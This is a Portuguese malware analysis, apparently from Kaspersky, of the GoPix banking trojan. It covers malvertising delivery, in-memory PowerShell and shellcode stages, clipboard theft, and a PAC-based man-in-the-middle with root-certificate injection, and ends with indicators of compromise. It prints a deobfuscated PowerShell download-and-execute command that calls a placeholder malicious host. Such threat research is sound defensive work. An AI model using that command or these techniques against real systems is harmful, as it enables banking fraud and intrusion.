Introdução
O GoPix é uma ameaça avançada e persistente que visa clientes de instituições financeiras brasileiras e usuários de criptomoedas. Ele representa uma ameaça evoluída que visa usuários de Internet banking e utiliza implantes apenas em memória e scripts PowerShell ofuscados. O GoPix evoluiu das ameaças RAT e Sistema de Transferência Automatizada (ATS), que foram usadas em campanhas anteriores, para uma ameaça única nunca antes vista. Operando como um LOLBin (Living off the Land Binary), o GoPix exemplifica uma abordagem sofisticada que integra vetores de malvertising em plataformas como o Google Ads para comprometer clientes de instituições financeiras proeminentes.
Nossa análise extensa revela a capacidade do GoPix de executar ataques man-in-the-middle, monitorar transações por Pix, boletos bancários e manipular transações de criptomoedas. O malware burla as medidas de segurança das instituições financeiras, mantendo a persistência e empregando mecanismos de limpeza robustos para desafiar os esforços de Digital Forensics e de Resposta a Incidentes (DFIR).
O GoPix atingiu um nível de sofisticação nunca antes visto em um malware criado no Brasil. Já se passaram mais de três anos desde que o identificamos pela primeira vez e ele permanece muito ativo. A ameaça é reconhecida pelos seus métodos furtivos para infectar vítimas e evitar ser detectada pelos softwares de segurança, usando novos truques para permanecer ativa.
O comportamento do GoPix difere dos RATs já vistos em outras famílias nacionais, como a Grandoreiro. O GoPix usa C2s com uma vida útil muito curta, que permanecem on-line apenas por algumas horas. Além disso, os atacantes por trás dessa ameaça abusam de serviços antifraude e de reputação legítimos para entregar o payload de forma direcionada e garantir que não infectaram uma sandbox ou sistema usado em análise. As vítimas são escolhidas a dedo: órgãos financeiros de governos estaduais e grandes corporações.
A campanha se aproveita de outra campanha de malvertising que está ativa desde dezembro de 2022. O uso de várias camadas de ofuscação e de um certificado digital roubado demonstra a capacidade do GoPix de burlar as defesas de segurança tradicionais e roubar e manipular dados financeiros confidenciais.
O grupo brasileiro por trás do GoPix está aprendendo com grupos APT a tornar o malware persistente e ocultá-lo, carregando módulos na memória, mantendo poucos artefatos em disco e tornando ineficaz a detecção por regras YARA. O malware também pode alternar entre processos para executar funcionalidades específicas, potencialmente desativando softwares de segurança e executando ataques man-in-the-middle com uma técnica inédita.
Infecção inicial
A infecção inicial é realizada por campanhas de malvertising. Na maioria dos casos, os threat actors usam o Google Ads para espalhar armadilhas relacionadas a serviços populares como o WhatsApp, o Google Chrome e o serviço postal brasileiro Correios e atrair vítimas para páginas maliciosas.
Estamos monitorando essa ameaça desde 2023 e ela continua muito ativa até o momento.
Detecção do malware GoPix (download)
O vetor de infecção inicial é mostrado abaixo:

Vetor de infecção inicial
Quando o usuário acessa a página do GoPix, o malware abusa de sistemas legítimos de reputação de IP para determinar se o usuário é um alvo de interesse ou um bot executado em ambientes de análise de malware. A pontuação inicial é feita por um serviço antifraude legítimo, para o qual são enviados vários parâmetros do navegador e do ambiente, que retorna um ID de solicitação. O site malicioso usa esse ID para verificar se o usuário deve receber o instalador malicioso ou ser redirecionado para uma página fictícia inofensiva. Se o usuário não for considerado um alvo valioso, nenhum malware é entregue.

Site exibido caso o usuário seja detectado como um bot ou sandbox
No entanto, se ficar comprovado que a vítima não é um bot, o site malicioso consultará o endpoint check.php, que retornará uma resposta JSON com 2 URLs:

Resposta JSON de endpoint malicioso
A vítima então recebe uma página falsa oferecendo o download do software anunciado, que, neste caso, é o “Instalador do WhatsApp Web” malicioso. Para decidir para qual URL a vítima será redirecionada, o código JavaScript verifica se a porta 27275 está aberta no host local.

Solicitação do WebSocket para verificar se a porta está aberta
Essa porta é usada pelo recurso Avast Safe Banking, presente em vários produtos da Avast que são muito populares em países como o Brasil. Se a porta estiver aberta, a vítima baixará o payload do primeiro estágio usando a segunda URL (url2). Trata-se de um arquivo ZIP que contém um arquivo LNK com um PowerShell ofuscado criado para baixar o próximo estágio. Se a porta não for aberta, a vítima será redirecionada à primeira URL (url), que oferece o download de um instalador NSIS executável falso do WhatsApp.
A princípio, pensamos que essa detecção poderia levar a um exploit. No entanto, nossa pesquisa mostrou que a única diferença é que, se o Avast estiver instalado, a vítima será direcionada a outro vetor de infecção, descrito abaixo.

Malware distribuído por meio de um site malicioso
Cadeia de infecção
Payload de primeiro estágio
Se não houver o produto da Avast instalado, um arquivo executável do instalador NSIS será enviado ao dispositivo da vítima. Os atacantes alteram esse instalador com frequência para evitar detecção. Ele é assinado digitalmente com um certificado roubado emitido para “PLK Management Limited”, o mesmo usado para assinar o software legítimo “Driver Easy Pro”.

Certificado roubado usado para assinar o instalador malicioso
O instalador NSIS cria e executa um arquivo em lote ofuscado que usa o PowerShell para solicitar o payload do próximo estágio ao site malicioso.

Código do instalador NSIS criando um arquivo em lote
No entanto, se a porta 27275 estiver aberta, indicando que a vítima tem um produto Avast instalado, a infecção ocorre pela segunda URL. A vítima é levada a baixar um arquivo ZIP que contém um arquivo LNK. Este arquivo de atalho contém uma linha de comando ofuscada.

Linha de comando ofuscada dentro do LNK
Linha de comando desofuscada:
|
1 |
WindowsPowerShell\v10\powershell (New-Object NetWebClient)UploadString("http://MALICIOUS/1/","tHSb")|$env:E - |
O objetivo desta linha de comando é baixar e executar o payload do próximo estágio por meio da URL maliciosa mencionada acima.
É muito provável que esse método seja usado, já que o Avast Safe Browser bloqueia downloads diretos de arquivos executáveis. Portanto, em vez de baixar o instalador NSIS executável, um arquivo ZIP é entregue.
Depois que o comando do PowerShell do arquivo LNK ou EXE é executado, o GoPix executa outro script ofuscado do PowerShell recuperado remotamente (na imagem do downloader do GoPix abaixo, ele é definido como “Script do Powershell”).

Cadeia de entrega do GoPix
Script inicial do PowerShell
O objetivo desse script é coletar informações do sistema e enviá-las ao C2 do GoPix. Assim, o script obtém um arquivo JSON que contém os módulos e as configurações do GoPix salvos no computador da vítima.

Coleta de informações do sistema
As informações contidas neste arquivo JSON são as seguintes:
- nomes de pastas e arquivos a serem criados no diretório
%APPDATA%; - script ofuscado do PowerShell;
- script criptografado do PowerShell
ps; - implante de código malicioso
sccontendo um shellcode do dropper do GoPix criptografado, o dropper do GoPix, o shellcode do payload principal e o implante principal do GoPix; - Arquivo de configuração do GoPix
pf.
Depois que esses arquivos são salvos, um arquivo em lote adicional também é criado e executado. Sua finalidade é iniciar o script ofuscado do PowerShell.
|
1 2 3 |
PSExecutionPolicyPreference=Unrestricted powershell -File "$scriptPath" sair |
Script ofuscado do PowerShell
Após a execução, o script ofuscado do PowerShell descriptografa o script do PowerShell ps, inicia outra instância do PowerShell e envia o script descriptografado através do seu stdin, para que o script descriptografado nunca seja carregado em disco.

Script desofuscado do PowerShell
Script descriptografado do PowerShell “ps”
O objetivo desse script apenas em memória do PowerShell é executar uma descriptografia na memória do shellcode do dropper do GoPix, no shellcode do payload principal e no implante de malware principal do GoPix na memória alocada. Depois disso, ele cria um pequeno shellcode no processo do PowerShell para transferir a execução ao shellcode do dropper do GoPix já descriptografado.

O shellcode do script do PowerShell transfere a execução ao shellcode do loader de malware
O shellcode do dropper do GoPix é criado para a arquitetura x86 ou x64, dependendo do computador da vítima.

Construção do shellcode do GoPix conforme a arquitetura alvo
Shellcode
Este shellcode é incluído com o malware e permanece criptografado em disco. Ele é utilizado duas vezes na cadeia de infecção separadamente: primeiro para iniciar o dropper do GoPix e, depois, para executar o malware principal. Nós observamos duas versões desse shellcode. A principal diferença é que o antigo determina endereços de API pelos seus nomes, enquanto o mais recente emprega um algoritmo de hash para determinar o endereço de uma determinada API. O cálculo do hash da API começa gerando um hash para o nome da DLL, que depois é usado no nome da função para calcular o hash final da API.

A amostra antiga (à esquerda) usava strings em stack com nomes de API; a nova amostra (à direita) usa a técnica de ofuscação de API por hash
Na primeira vez que o GoPix é colocado na memória por meio do PowerShell, sua estrutura é a seguinte:
- Shellcode do dropper em memória
- DLL do dropper em memória
- Shellcode principal de payload
- DLL de payload
Ambas as DLLs têm sua assinatura MZ apagada, o que ajuda a evitar a detecção por ferramentas de dump de memória que verificam arquivos PE na memória.

Assinatura MZ zerada
Dropper do GoPix
Quando a função principal do dropper é chamada, ela verifica se está sendo executada dentro do processo Explorer.exe; caso contrário, ela será encerrada. Em seguida, ela verifica sequencialmente os navegadores instalados (Chrome, Firefox, Edge e Opera) recuperando o caminho completo do primeiro navegador detectado da chave de registro SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths. Uma diferença significativa em relação aos droppers analisados anteriormente é que esta versão criptografa cada string usando um algoritmo exclusivo.
Depois de selecionar o navegador, o dropper usa syscalls diretas para iniciar o processo do navegador escolhido em um estado suspenso. Isso permite injetar o shellcode principal do GoPix e seus parâmetros no processo. O shellcode injetado extrai e carrega o implante principal do GoPix diretamente na memória e depois chama sua função principal exportada. Os parâmetros incluem o número 1, que aciona a função principal do GoPix, e o ID do processo atual, que é do Explorer.exe.

O dropper usa a instrução syscall e chama a função principal do implante apenas em memória do GoPix
Implante principal do GoPix
Funcionalidade de roubo da área de transferência
O boleto bancário foi adicionado como um dos alvos de roubo e substituição da área de transferência do malware. Ele é um método de pagamento popular no Brasil que funciona de forma semelhante a uma fatura, sendo o segundo sistema de pagamento mais popular no país. Trata-se de um documento padronizado que inclui informações de pagamento importantes, como o valor devido, a data de vencimento e os detalhes do beneficiário. Ele apresenta uma linha digitável, uma sequência de números que pode ser inserida em aplicativos de Internet banking para pagamento. Esta linha é o alvo da funcionalidade do GoPix. Um exemplo dessa linha é “23790.12345 60000.123456 78901.234567 8 76540000010000”.

Boletos bancários são alvo da funcionalidade de roubo da área de transferência
Quando o GoPix detecta uma transação por Pix ou boleto, envia essas informações ao C2. No entanto, quando um endereço de carteira de Bitcoin ou Ethereum é copiado para a área de transferência, o malware substitui o endereço por um que pertence ao agente da ameaça.
Um ataque singular de man-in-the-middle
Os arquivos PAC (Proxy AutoConfig) não são novidade; eles têm sido usados por criminosos brasileiros há mais de uma década. Porém, o GoPix levou essa técnica conhecida a outro patamar. Embora no passado os criminosos usassem arquivos PAC para redirecionar as vítimas para uma página de phishing falsa, o objetivo do arquivo PAC nos ataques do GoPix é manipular o tráfego enquanto o usuário acessa um site financeiro legítimo.
Para ocultar qual site o GoPix quer interceptar, ele usa um algoritmo CRC32 no campo de host do arquivo PAC. Ele é formatado dinamicamente usando um arquivo de configuração pf: os itens que ele contém determinam para qual proxy a vítima será redirecionada. Para ocultar seu servidor proxy malicioso, o malware enumera todas as conexões após a abertura da conexão com o proxy e identifica o processo que a iniciou. Em seguida, ele usa a soma de verificação CRC32C do nome do executável do processo e a compara com uma lista hardcoded de somas de verificação CRC dos navegadores. Se ela não corresponder a um navegador conhecido, a conexão é encerrada.

Trecho do arquivo PAC
Para descobrir os alvos do GoPix, compilamos uma lista de muitos domínios e subdomínios de instituições financeiras brasileiras, computamos suas somas de verificação CRC32 e as comparamos com os valores hardcoded do GoPix. A tabela abaixo mostra cada CRC32 e seu respectivo alvo.
| CRC32 | Infraestrutura |
| 8BD688E8 | Local |
| 8CA8ACFF | www2.banco********.com.br |
| AD8F5213 | autoatendimento.********.com.br |
| 105A3F17 | www2.****.com.br |
| B477FE70 | internetbanking.*******.gov.br |
| 785F39C2 | loginx.********.br |
| C72C8593 | internetpf.*****.com.br |
| 75E3C3BA | internet.*****.com.br |
| FD4E6024 | internetbanking.*******.com.br |
Interceptação de HTTPS
Como toda comunicação é criptografada por meio de HTTPS, o GoPix burla isso ao injetar um certificado root confiável na memória de um navegador da Web enquanto estiver na máquina da vítima. Isso permite que os atacantes detectem e até mesmo manipulem o tráfego da vítima. Nós encontramos dois certificados em amostras do GoPix, um que expirou em janeiro de 2025 e outro criado em fevereiro de 2025 e está definido para expirar em fevereiro de 2027.

Certificado de root confiável do GoPix
Conclusão
Com a capacidade de carregar seu implante apenas em memória, que permite a instalação de um Proxy AutoConfig malicioso (PAC) e um servidor HTTP para executar um ataque man-in-the-middle sem precedentes, o GoPix é de longe o trojan bancário mais avançado de origem brasileira que já encontramos. A injeção de um certificado root confiável no navegador melhora sua capacidade de interceptar e manipular dados financeiros confidenciais, ao mesmo tempo em que se mantém furtivo, pois o certificado malicioso não é visível para as ferramentas do sistema operacional. Além disso, o GoPix expandiu sua capacidade de monitoramento da área de transferência ao adicionar boletos ao seu arsenal, que já inclui transações por Pix e endereços de carteiras de criptomoedas.
É uma ameaça sofisticada, com múltiplas camadas de evasão, persistência e funcionalidade. A investigação do shellcode, do dropper e do módulo principal do malware descobriu mecanismos intrincados, incluindo a transferência de execução entre processos para aproveitar funcionalidades específicas. Essa técnica, combinada com métodos robustos de criptografia de strings aplicados ao dropper e ao payload principal, indica que o threat actor fez um grande esforço para impedir a detecção. Curiosamente, os atacantes usaram um serviço antifraude comercial legítimo para pré-qualificar seus alvos, com o objetivo de evitar sandboxes e investigações de pesquisadores de segurança. Além disso, os mecanismos de persistência e limpeza implementados pelo malware aumentam sua durabilidade durante os esforços de resposta a incidentes, com uma vida útil muito curta dos C2s.
Para obter mais informações sobre o GoPix e todos os detalhes técnicos, entre em contato com crimewareintel@kaspersky.com.
Os produtos da Kaspersky detectam essa ameaça como HEUR:Trojan-Banker.Win64.GoPix, Trojan.PowerShell.GoPix e HEUR:Trojan-Banker.OLE2.GoPix.
Indicadores de comprometimento
EB0B4E35A2BA442821E28D617DD2DAA2 – instalador NSIS
C64AE7C50394799CE02E97288A12FFF – arquivo ZIP com um arquivo LNK
D3A17CB4CDBA724A0021F5076B33A103 – dropper do malware
28C314ACC587F1EA5C5666E935DB716C – payload principal
Impressão digital de certificado malicioso
<Name(CN=Root CA 2024)> f110d0bd7f3bd1c7b276dc78154dd21eef953384
<Name(CN=Root CA 2025)> 1b1f85b68e6c9fde709d975a186185c94c0faa51
Domínios e IPs
https://correioez0ubcfht9i3.lovehomely[.]com/
https://correiotwknx9gu315h.lovehomely[.]com/
http://webmensagens4bb7[.]com/
https://mydigitalrevival[.]com/get.php
http://b3d0[.]com/1/
http://4a3d[.]com/1/
http://9de1[.]com/1/
http://ef0h[.]com/1/
http://yogarecap[.]com/1/



GoPix, o trojan bancário que vive na memória